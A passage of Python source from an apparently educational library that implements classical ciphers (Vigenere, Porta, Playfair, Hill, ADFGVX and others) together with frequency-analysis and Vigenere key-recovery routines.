encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Tritheme cipher.\"\"\"\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_c = ''\n i = 0\n \n for j, k in enumerate(txt):\n if k in self.alf:\n msg_c += self.alf[(self.alf.index(k) + j - i) % self.lalf]\n \n elif not self.ignore:\n msg_c += k\n i += 1\n \n elif self.verbose:\n print(tr('Omitting \"{}\" because it is not in the alphabet !').format(k))\n \n return msg_c\n\n\n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Tritheme cipher.\"\"\"\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_d = ''\n i = 0\n \n for j, k in enumerate(txt):\n if k in self.alf:\n msg_d += self.alf[(self.alf.index(k) - j + i + self.lalf) % self.lalf]\n \n elif not self.ignore:\n msg_d += k\n i += 1\n \n elif self.verbose:\n print('Unknown \"{}\" ! (try ignore=False)'.format(k))\n \n return msg_d\n \n \n def break_(self, txt):\n \"\"\"Return self.decrypt(txt)\"\"\"\n \n return self.decrypt(txt)\n \n \n def meaning(self, txt, brk=None):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean\n something, to find out if the broken item makes sense.\n \"\"\"\n \n if self.verbose:\n print(tr('Tritheme cipher'))\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk):\n return (True, brk)\n \n else:\n return (False,)\n\n\nclass Porta(BaseCipher):\n \"\"\"Defining the Porta cipher.\"\"\"\n \n def __init__(self, key, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Porta cipher.\n \n - key : a string ;\n - alf : the alphabet to use ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return.\n \"\"\"\n \n super().__init__('Porta', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n \n if type(key) != str:\n raise ValueError(tr('The key must be a string, but \"{}\", of type \"{}\" was found !!!').format(key, type(key)))\n \n self.key = key\n self.lkey = len(key)\n \n self.alf = alf\n self.alf_0 = alf[:len(alf) // 2]\n self.alf_1 = alf[len(alf) // 2:]\n \n self.lalf_0 = len(self.alf_0) \n self.lalf_1 = len(self.alf_1)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Porta cipher.\"\"\"\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_c = ''\n i = 0\n \n for j, k in enumerate(txt):\n ck = self.alf.index(self.key[(j-i) % self.lkey])\n \n if k in self.alf_0:\n msg_c += self.alf_1[(self.alf_0.index(k) - ck // 2) % self.lalf_1]\n \n elif k in self.alf_1:\n msg_c += self.alf_0[(self.alf_1.index(k) + ck // 2) % self.lalf_0]\n \n elif not self.ignore:\n msg_c += k\n i += 1\n \n elif self.verbose:\n print(tr('Omitting \"{}\" because it is not in the alphabet !').format(k))\n \n return msg_c\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Porta cipher.\"\"\"\n \n return self.encrypt(txt)\n \n \n def gen_key(self, lth):\n \"\"\"Return a random string of length lth.\"\"\"\n \n key = ''\n for k in range(lth):\n key += choice(self.alf)\n \n return key\n \n\n\nclass Vigenere(BaseCipher):\n \"\"\"Defining the Vigenere cipher.\"\"\"\n \n def __init__(self, key=None, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Vigenere cipher.\n \n - key : a string. All the characters of the keys should be in the alphabet ;\n - alf : the alphabet to use ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return.\n \"\"\"\n \n super().__init__('Vigenere', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n \n if key != None:\n if type(key) != str:\n raise ValueError(tr('The key must be a string, but \"{}\", of type \"{}\" was found !!!').format(key, type(key)))\n \n for j, k in enumerate(key):\n if k not in alf:\n raise ValueError(tr('Invalid character \"{}\" at position {} in the key !!! (it is not in the alphabet)').format(k, j, key))\n\n self.lkey = len(key)\n \n self.key = key\n \n self.alf = alf\n self.lalf = len(alf)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Vigenere cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_c = ''\n i = 0\n \n for j, k in enumerate(txt):\n ck = self.alf.index(self.key[(j-i) % self.lkey])\n \n if k in self.alf:\n msg_c += self.alf[(self.alf.index(k) + ck) % self.lalf]\n \n elif not self.ignore:\n msg_c += k\n i += 1\n \n elif self.verbose:\n print(tr('Omitting \"{}\" because it is not in the alphabet !').format(k))\n \n return msg_c\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Vigenere cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_d = ''\n i = 0\n \n for j, k in enumerate(txt):\n ck = self.alf.index(self.key[(j-i) % self.lkey])\n \n if k in self.alf:\n msg_d += self.alf[(self.alf.index(k) - ck + self.lalf) % self.lalf]\n \n elif not self.ignore:\n msg_d += k\n i += 1\n \n elif self.verbose:\n print(tr('Unknown character \"{}\" ! It is not in the alphabet ! (try ignore=False)').format(k))\n \n return msg_d\n \n \n def _lth_key(self, txt, grp=3):\n \"\"\"\n This function determines the length of the key, it\n mark the groups of 'grp' letters which are repeated in the coded msg\n and assume that there is a very high probability that the same group of 'grp'\n letters be encoded with the same 'grp' letters of the message and the same 'grp'\n letters of the key.\n \n Example :\n message : .....DES...........DES...........DES.........DES....DES\n key : ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\n code : .....EGV.........................EGV.........EGV..........\n distance : <----------24--------------><----8----->\n \n The length of the key divides the GCD by 24 and 8.\n \n site : 'http://www.xavierdupre.fr/app/ensae_teaching_cs/helpsphinx/notebooks/expose_vigenere.html'\n \"\"\"\n\n #---reading the message to get every position\n dct = {}\n for k in range(len(txt) - 2):\n t = txt[k:k + grp]\n \n if t in dct:\n dct[t].append(k)\n \n else:\n dct[t] = [k]\n\n #---distance\n dis = []\n for d in dct :\n p = dct[d]\n if len(p) > 1:\n for i in range(0, len(p) - 1):\n dis.append(p[i+1] - p[i])\n \n if self.verbose:\n print(d, p[i + 1] - p[i], '---', float(p[i + 1] - p[i]) / 8)\n\n #---GCD\n if len(dis) == 0:\n raise Exception(tr('Impossible to determine the key')) #todo: improve this error message\n\n elif len(dis) == 1:\n return dis[0]\n\n lth = gcd(dis[0], dis[1])\n for d in dis :\n lth = gcd(lth, d)\n\n if lth > 5: #if the length is sufficient, the result may be good.\n return lth\n \n else: #Else, relaunching the algo with bigger groups.\n return self._lth_key(txt, grp + 1)\n \n \n def _find_key(self, txt, lth, mfl='e'):\n \"\"\"\n Determine the key of the encrypted message 'txt', knowing its length,\n assuming that the letter 'mfl' is the most frequent.\n \n - txt : encrypted message ;\n - lth : supposed length of the key ;\n - mfl : the supposed most frequent letter. Should be a string, of length 1 and be in the alphabet.\n \n Return the key.\n \n site : 'http://www.xavierdupre.fr/app/ensae_teaching_cs/helpsphinx/notebooks/expose_vigenere.html'\n \"\"\"\n \n if type(mfl) != str:\n raise ValueError(tr('The argument \"mfl\" should be a string !!!'))\n \n elif len(mfl) != 1:\n raise ValueError(tr('The argument \"mfl\" should have a length of 1 !!!'))\n \n elif mfl not in self.alf:\n raise ValueError(tr('The argument \"mfl\" should be in the alphabet !!!'))\n\n key = ''\n for k in range(lth):\n nb = [0 for k in self.alf]\n lt = txt[k:len(txt):lth] #Extracting all the letters (k, k + lth, k + 2lth, ...)\n \n for j in lt:\n nb[self.alf.index(j)] += 1\n \n mx_v = max(nb)\n mx = nb.index(mx_v)\n \n #Finding the letter which has encrypted the 'mfl' at self.alf[mx]\n key += self.alf[(mx + self.lalf - self.alf.index(mfl)) % self.lalf]\n \n return key\n \n \n def break_(self, txt, mfl='e'):\n \"\"\"Return :\n (key, txt_d).\n \n key : the founded key ;\n txt_d : 'txt' decrypted with the founded key.\n \"\"\"\n \n txt = msgform(txt)\n \n key_lth = self._lth_key(txt)\n key = self._find_key(txt, key_lth, mfl)\n \n return key, Vigenere(key, self.alf, self.ignore, self.verbose, self.interface).decrypt(txt)\n \n \n def meaning(self, txt, brk=None):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean\n something, to find out if the broken item makes sense.\n \"\"\"\n \n if self.verbose:\n print(tr('Vigenere cipher'))\n \n \n if Ic(True).calc(txt) > 0.065:\n return (False,)\n \n f = Friedman().ana(txt)\n if f[1][f[0] - 1] < 0.065:\n return (False,)\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk[1]):\n return (True, brk[1], brk[0])\n \n else:\n return (False,)\n \n \n def gen_key(self, lth):\n \"\"\"Return a random string of length lth.\"\"\"\n \n key = ''\n for k in range(lth):\n key += choice(self.alf)\n \n return key\n\n\nclass Beaufort(BaseCipher):\n \"\"\"Defining the Beaufort cipher.\"\"\"\n \n def __init__(self, key=None, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Beaufort cipher.\n \n - key : a string ;\n - alf : the alphabet to use ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return.\n \"\"\"\n \n super().__init__('Beaufort', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n \n if key != None:\n if type(key) != str:\n raise ValueError(tr('The key must be a string, but \"{}\", of type \"{}\" was found !!!').format(key, type(key)))\n \n self.lkey = len(key)\n \n self.key = key\n \n self.alf = alf\n self.lalf = len(alf)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Beaufort cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_c = ''\n i = 0\n lth = len(txt)\n key = self.key * int(lth / lth + 2)\n \n for j, k in enumerate(txt):\n if k in self.alf:\n msg_c += self.alf[(self.alf.index(key[(j-i) % self.lkey]) - self.alf.index(k) + self.lalf) % self.lalf]\n \n elif not self.ignore:\n msg_c += k\n i += 1\n \n elif self.verbose:\n print(tr('Omitting \"{}\" because it is not in the alphabet !').format(k))\n \n return msg_c\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Beaufort cipher.\"\"\"\n \n return self.encrypt(txt)\n \n \n def gen_key(self, lth):\n \"\"\"Return a random string of length lth.\"\"\"\n \n key = ''\n for k in range(lth):\n key += choice(self.alf)\n \n return key\n\n\nclass Gronsfeld(BaseCipher):\n \"\"\"Defining the Gronsfeld cipher.\"\"\"\n \n def __init__(self, key=None, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"Initiate the Gronsfeld cipher.\n \n - key : an intenger ;\n - alf : the alphabet to use ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return.\n \"\"\"\n \n super().__init__('Gronsfeld', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n \n if key != None:\n if type(key) != int:\n raise ValueError(tr('The key must be an int, but \"{}\", of type \"{}\" was found !!!').format(key, type(key)))\n \n self.lkey = len(str(key))\n \n self.key = key\n \n self.alf = alf\n self.lalf = len(alf)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Gronsfeld cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_c = ''\n i = 0\n lth = len(txt)\n key = str(self.key) * int(lth / lth + 2)\n \n for j, k in enumerate(txt):\n if k in self.alf:\n msg_c += self.alf[(self.alf.index(k) + int(key[(j-i) % self.lkey])) % self.lalf]\n \n elif not self.ignore:\n msg_c += k\n i += 1\n \n elif self.verbose:\n print(tr('Omitting \"{}\" because it is not in the alphabet !').format(k))\n \n return msg_c\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Gronsfeld cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_d = ''\n i = 0\n lth = len(txt)\n key = str(self.key) * int(lth / lth + 2)\n \n for j, k in enumerate(txt):\n if k in self.alf:\n msg_d += self.alf[(self.alf.index(k) - int(key[(j-i) % self.lkey]) + self.lalf) % self.lalf]\n \n elif not self.ignore:\n msg_d += k\n i += 1\n \n elif self.verbose:\n print(tr('Unknown character \"{}\" ! It is not in the alphabet ! (try ignore=False)').format(k))\n \n return msg_d\n \n \n def gen_key(self, mn, mx):\n \"\"\"Return a random number in [mn ; mx]\"\"\"\n \n key = randint(mn, mx)\n \n return key\n\n\nclass Autoclave(BaseCipher):\n \"\"\"Defining the Autoclave cipher.\"\"\"\n \n def __init__(self, key=None, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Autoclave cipher.\n \n - key : a string ;\n - alf : the alphabet to use ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return.\n \"\"\"\n \n super().__init__('Autoclave', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n \n if key != None:\n if type(key) != str:\n raise ValueError(tr('The key must be a string, but \"{}\", of type \"{}\" was found !!!').format(key, type(key)))\n \n self.key = key\n \n self.alf = alf\n self.lalf = len(alf)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Autoclave cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n key = self.key + txt\n \n key = msgform(key, 'all', False, False, self.alf, False)\n \n return Vigenere(key, self.alf, self.ignore, self.verbose, self.interface).encrypt(txt)\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Autoclave cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n msg_d = ''\n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n i = 0\n key = self.key\n \n for j, k in enumerate(txt):\n if k in self.alf:\n char = self.alf[(self.alf.index(k) - self.alf.index(key[j-i]) + self.lalf) % self.lalf]\n key += char\n \n elif not self.ignore:\n char = k\n i += 1\n \n else:\n char = ''\n \n msg_d += char\n \n return msg_d\n \n \n def gen_key(self, lth):\n \"\"\"Return a random string of length lth.\"\"\"\n \n key = ''\n for k in range(lth):\n key += choice(self.alf)\n \n return key\n\n\n##-polygraphic\n\nclass Playfair(BaseCipher):\n \"\"\"Defining the Playfair cipher.\"\"\"\n \n def __init__(self, key=None, interface=None):\n \"\"\"\n Initiate the Playfair cipher.\n \n - key : a string.\n \"\"\"\n \n super().__init__('Playfair', interface=interface)\n \n if type(key) != str and key != None:\n raise ValueError(tr('The key must be a string, but \"{}\", of type \"{}\" was found !!!').format(key, type(key)))\n \n self.key = key\n self.square = word_to_square(key)\n \n \n def _crypt(self, txt, a=1):\n \"\"\"Encrypt or decrypt 'txt' using the Playfair cipher.\"\"\"\n \n if a not in (-1, 1):\n raise ValueError(tr('The arg \"a\" must be 1 or -1, but \"{}\" was found !!!').format(a))\n \n txt = msgform(txt, 'min', space=False, number=False)\n \n msg = ''\n i1, i2, j1, j2 = 0, 0, 0, 0\n \n txt = txt.replace('j', 'i')\n \n if len(txt) % 2 == 1:\n txt += 'x'\n \n for l in range(len(txt) // 2):\n bi = txt[l * 2:l*2 + 2]\n \n if bi[0] == bi[1]:\n bi = bi[0] + 'q'\n \n for i in range(5):\n for j in range(5):\n if self.square[i][j] == bi[0]:\n i1, j1 = i, j\n \n elif self.square[i][j] == bi[1]:\n i2, j2 = i, j\n \n if i1 == i2:\n msg += self.square[i1][(j1 + a) % 5] + self.square[i1][(j2 + a) % 5]\n \n elif j1 == j2:\n msg += self.square[(i1 + a) % 5][j1] + self.square[(i2 + a) % 5][j2]\n \n else:\n msg += self.square[i1][j2] + self.square[i2][j1]\n \n return msg\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' with the Playfair cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n return self._crypt(txt, a=1)\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' with the Playfair cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n return self._crypt(txt, a=-1)\n \n \n def gen_key(self, lth):\n \"\"\"Return a random string of length lth.\"\"\"\n \n key = ''\n for k in range(lth):\n key += choice(self.alf)\n \n return key\n\n\nclass FourSquares(BaseCipher):\n \"\"\"Defining the Delastelle's Four squares cipher.\"\"\"\n \n def __init__(self, key1=None, key2=None, alf=alf_25, interface=None):\n \"\"\"\n Initiate the Four squares cipher.\n \n - key1 : The key #1. Should be a string ;\n - key2 : the key #2. Should also be a string ;\n - alf : the alphabet to use.\n \"\"\"\n \n super().__init__('Four squares', interface=interface)\n \n if key1 != key2 == None or key2 != key1 == None:\n raise ValueError(tr('The keys 1 and 2 should be both None, or both intengers, but only one was None !!!'))\n \n elif (type(key1) != str or type(key2) != str) and not (key1 == key2 == None):\n raise ValueError(tr('The keys should be strings (or None) !!!'))\n \n self.key1 = key1\n self.key2 = key2\n self.alf = alf\n \n if key1 != None:\n self.sq_1 = word_to_square(key1)\n self.sq_2 = word_to_square(key2)\n \n alf_sq = word_to_square('')\n self.dct = {}\n for i in range(5):\n for j in range(5):\n self.dct[alf_sq[i][j]] = (i, j)\n \n self.dct['j'] = self.dct['i']\n \n self.db = {} # Dictionnary of bigrams\n for k in itertools.product(self.alf, repeat=2):\n k0 = self.dct[k[0]]\n k1 = self.dct[k[1]]\n \n self.db[k[0] + k[1]] = self.sq_1[k0[0]][k1[1]] + self.sq_2[k0[1]][k1[0]]\n \n self.db_d = {} #Same, but to decrypt.\n for k in self.db:\n self.db_d[self.db[k]] = k\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Four square cipher.\"\"\"\n \n if None in (self.key1, self.key2):\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n msg_c = ''\n txt = msgform(txt, 'all', False, False, self.alf, False)\n \n if len(txt) % 2 == 1:\n txt += 'x'\n \n txt = txt.replace('j', 'i')\n \n for k in range(len(txt) // 2):\n msg_c += self.db[txt[k * 2 : k*2 + 2]]\n \n return msg_c\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Four square cipher.\"\"\"\n \n if None in (self.key1, self.key2):\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n msg_d = ''\n txt = msgform(txt, 'all', False, False, self.alf, False)\n \n if len(txt) % 2 == 1:\n txt += 'x'\n \n txt = txt.replace('j', 'i')\n \n for k in range(len(txt) // 2):\n msg_d += self.db_d[txt[k * 2 : k*2 + 2]]\n \n return msg_d\n \n \n def gen_key(self, lth, lth1=None):\n \"\"\"\n Return a Four squares keys of the form :\n (str, str)\n \n - lth : the length of the first str ;\n - lth1 : the length of the second str. If None (default), take the same as lth.\n \"\"\"\n \n if lth1 == None:\n lth1 = lth\n \n key1 = ''\n for k in range(lth):\n key1 += choice(self.alf)\n \n key2 = ''\n for k in range(lth1):\n key2 += choice(self.alf)\n \n return (key1, key2)\n\n\nclass Hill(BaseCipher):\n \"\"\"Defining the Hill cipher.\"\"\"\n \n def __init__(self, key=None, alf=alf_az, interface=None):\n \"\"\"\n Initiate the Hill cipher.\n \n - key : the key. Should be a Matrix object (cf modules/base/matrix.py), or \n a matrixable object, i.e. a list, tuple, or set, containing list, tuple, or set ;\n - alf : the alphabet to use.\n \"\"\"\n \n super().__init__('Hill', interface=interface)\n \n if key != None:\n if type(key) != Matrix:\n key = Matrix(key) #Errors are tested here (the key's type)\n \n self.dim = len(key[0])\n \n self.key = key\n \n self.alf = alf\n self.lalf = len(alf)\n \n \n def _crypt(self, txt, key):\n \"\"\"Encrypt or decrypt 'txt' using the Hill cipher.\"\"\"\n \n txt += 'x'*((self.dim - len(txt) % self.dim) % self.dim)\n \n msg_c = ''\n \n for k in range(len(txt) // self.dim):\n C = [] # Column vector\n \n for l in txt[k * self.dim : (k + 1) * self.dim]:\n C.append([self.alf.index(l)])\n \n C2 = Matrix(C)\n C2 = (key * C2) % self.lalf\n \n for l in C2:\n msg_c += self.alf[int(l[0])]\n \n return msg_c\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Hill cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n txt = msgform(txt, 'all', False, False, self.alf, False)\n \n return self._crypt(txt, self.key)\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Hill cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n txt = msgform(txt, 'all', False, False, self.alf, False)\n \n return self._crypt(txt, self.key.inverse(self.lalf))\n \n \n def gen_key(self, size, mn=0, mx=9):\n \"\"\"Return a Hill key.\"\"\"\n \n key = [[randint(mn, mx) for i in range(size)] for j in range(size)]\n key = Matrix(key)\n \n return key\n\n\n##---substitution and transposition\n\nclass ABC(BaseCipher):\n \"\"\"Defining the ABC cipher.\"\"\"\n \n def __init__(self, key, alf=alf_az, ignore=False, interface=None):\n \"\"\"Initiate the ABC cipher.\"\"\"\n \n super().__init__('ABC', interface=interface)\n \n self.key = key\n self.alf = alf\n \n self.col_tr = ColumnarTransposition(key, alf, interface=interface)\n self.vig = Vigenere('abc', alf, ignore, interface=interface)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the ABC cipher.\"\"\"\n \n return self.col_tr.encrypt(\n self.vig.encrypt(txt)\n )\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the ABC cipher.\"\"\"\n \n return self.vig.decrypt(\n self.col_tr.decrypt(txt)\n )\n \n \n def gen_key(self, lth):\n \"\"\"Return a random string of length lth.\"\"\"\n \n return ColumnarTransposition().gen_key(lth)\n\n\nclass ADFGX(BaseCipher):\n \"\"\"Defining the ADFGX cipher.\"\"\"\n \n def __init__(self, key1=None, key2='', alf=alf_az, interface=None):\n \"\"\"\n Initiate the ADFGX cipher.\n \n - key1 : the Columnar transposition key ; \n - key2 : The Polybius key.\n \"\"\"\n \n super().__init__('ADFGX', interface=interface)\n \n ind = ('A', 'D', 'F', 'G', 'X')\n \n self.col_tr = ColumnarTransposition(key1, alf, interface=interface)\n self.poly = Polybius(key2, ind, alf, space=False, interface=interface)\n \n self.alf = alf\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the ADFGX cipher.\"\"\"\n \n return self.col_tr.encrypt(self.poly.encrypt(txt))\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the ADFGX cipher.\"\"\"\n \n return self.poly.decrypt(self.col_tr.decrypt(txt))\n \n \n def gen_key(self, lth, lth1=None):\n \"\"\"\n Return an ADFGX keys of the form :\n (str, str)\n \n - lth : the length of the first str ;\n - lth1 : the length of the second str. If None (default), take the same as lth.\n \"\"\"\n \n if lth1 == None:\n lth1 = lth\n \n key1 = ''\n for k in range(lth):\n key1 += choice(self.alf)\n \n key2 = ''\n for k in range(lth1):\n key2 += choice(self.alf)\n \n return (key1, key2)\n\n\nclass ADFGVX(BaseCipher):\n \"\"\"Defining the ADFGVX cipher.\"\"\"\n \n def __init__(self, key1=None, key2='', alf=alf_az, interface=None):\n \"\"\"\n Initiate the ADFGVX cipher.\n \n - key1 : The Columnar transposition key ;\n - key2 : the Polybius key.\n \"\"\"\n \n super().__init__('ADFGVX', interface=interface)\n \n ind = ('A', 'D', 'F', 'G', 'V', 'X')\n \n self.col_tr = ColumnarTransposition(key1, alf, interface=interface)\n self.poly = Polybius(key2, ind, alf, space=False, interface=interface)\n \n self.alf = alf\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the ADFGVX cipher.\"\"\"\n \n return self.col_tr.encrypt(self.poly.encrypt(txt))\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the ADFGVX cipher.\"\"\"\n \n return self.poly.decrypt(self.col_tr.decrypt(txt))\n \n \n def gen_key(self, lth, lth1=None):\n \"\"\"\n Return an ADFGX keys of the form :\n (str, str)\n \n - lth : the length of the first str ;\n - lth1 : the length of the second str. If None (default), take the same as lth.\n \"\"\"\n \n if lth1 == None:\n lth1 = lth\n \n key1 = ''\n for k in range(lth):\n key1 += choice(self.alf)\n \n key2 = ''\n for k in range(lth1):\n key2 += choice(self.alf)\n \n return (key1, key2)\n\n\n##------cryptanalysis\n\nclass FreqAna:\n \"\"\"Class which analyse the character's frequency.\"\"\"\n \n def __init__(self, wprocess=False, n=1, sort=None):\n \"\"\"\n Initiate the FreqAna class.\n \n - wprocess : A boolean which indicates if the text should be passed trought msgform ;\n - n : the size of the group of character to analyse. Default is 1 ;\n - sort : the way how to sort the result. Should be None, 'char', or 'occ'.\n \"\"\"\n \n if wprocess not in (0, 1):\n raise ValueError(tr('The arg \"wprocess\" should be a boolean, but \"{}\" of type \"{}\" was found !!!').format(wprocess, type(wprocess)))\n \n if type(n) != int:\n raise ValueError(tr('The argument \"n\" should be an intenger, but \"{}\" of type \"{}\" was found !!!').format(n, type(n)))\n \n elif n < 1:\n raise ValueError(tr('The arg \"n\" should be a positive intenger different from 0 !!!'))\n \n if sort not in (None, 'char', 'occ'):\n raise ValueError(tr('The arg \"sort\" should be None, \"char\", or \"occ\", but \"{}\" was found !!!').format(sort))\n \n self.wprocess = wprocess\n self.n = n\n self.sort = sort\n \n self.fr_freq = ('e', 'a', 's', 'i', 'n', 't', 'r', 'l', 'u', 'o', 'd', 'c', 'p', 'm', 'v', 'g', 'f', 'b', 'q', 'h', 'x', 'j', 'y', 'z', 'k', 'w')\n self.en_freq = ('e', 't', 'a', 'o', 'i', 'n', 's', 'h', 'r', 'd', 'l', 'c', 'u', 'm', 'w', 'f', 'g', 'y', 'p', 'b', 'v', 'k', 'j', 'x', 'q', 'z')\n \n \n def occ(self, txt):\n \"\"\"Return the number of occurences the text.\"\"\"\n \n if self.wprocess:\n txt = msgform(txt, 'min')\n \n return len(txt) // self.n\n \n \n def ana(self, txt):\n \"\"\"\n Analyse the characters occurences in 'txt'.\n Return a dict sorted by key of the form {c0 : n0 ; c1 : n1 ; ...},\n where cx is the character ('a', 'Z', ...), and nx is the number of time it appear.\n \"\"\"\n \n if self.wprocess:\n txt = msgform(txt, 'min')\n \n txt += '~' * ((self.n - len(txt) % self.n) % self.n)\n \n d_ana = {}\n \n for k in range(len(txt) // self.n):\n c = txt[self.n * k : self.n * (k + 1)]\n \n if c in d_ana:\n d_ana[c] += 1\n \n else:\n d_ana[c] = 1\n \n #-sort the dict \n d_ana_s0 = {} \n d_ana_s = {}\n \n if self.sort == None:\n return d_ana\n \n for k in sorted(d_ana.keys()): #sort by characters (dict's keys)\n d_ana_s0[k] = d_ana[k]\n \n if self.sort == 'occ': #sort by occurences (dict's values)\n lst = sorted(\n [(k, d_ana_s0[k]) for k in d_ana_s0],\n key = lambda x: x[1],\n reverse = True\n ) #List of tuples : {c0 : n0, ...} -> [(c0, n0), ...]\n \n for k in lst:\n d_ana_s[k[0]] = k[1]\n \n else:\n d_ana_s = d_ana_s0\n \n return d_ana_s\n \n \n def ana_pr(self, txt, prec=3):\n \"\"\"\n Same as ana, but the frequency are in percentage.\n \n - txt : the text to analyse ;\n - prec : the precition in round. Default is 3.\n \"\"\"\n \n d_ana = self.ana(txt)\n occ = self.occ(txt)\n \n d_ana_pr = {}\n for k in d_ana:\n d_ana_pr[k] = round(d_ana[k] / occ * 100, prec)\n \n return d_ana_pr\n \n \n def comp(self, txt):\n \"\"\"\n Compare the current text frequency to the english and french frequencies.\n Return a dict of the form : {c : (cE, cF), ...}, where c is the character,\n cE the english character, and cF, the french character.\n \"\"\"\n \n if self.n != 1:\n raise ValueError(tr('To get the 